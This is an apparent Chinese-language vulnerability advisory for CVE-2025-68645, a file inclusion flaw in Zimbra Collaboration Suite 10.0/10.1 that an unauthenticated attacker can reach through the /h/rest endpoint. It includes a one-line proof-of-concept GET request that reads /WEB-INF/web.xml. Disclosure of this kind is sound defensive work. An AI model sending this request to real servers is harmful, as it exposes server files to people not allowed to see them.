Zimbra Collaboration Suite /h javax.servlet.include.path_info 文件包含漏洞（CVE-2025-68645）

日期: 2025-12-30 | 影响软件: Zimbra Collaboration Suite | POC: 已公开

漏洞描述

Zimbra Collaboration (ZCS) 10.0 和 10.1 版本的 Webmail Classic UI 中存在本地文件包含漏洞（LFI），由于 RestFilter Servlet 在处理用户请求参数时缺乏有效校验，未认证的远程攻击者可向 /h/rest 接口构造恶意请求，影响内部请求分发流程，从而包含并读取 WebRoot 目录下的任意文件。

PoC代码

GET /h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml HTTP/1.1
Host:

漏洞描述

PoC代码

相关漏洞推荐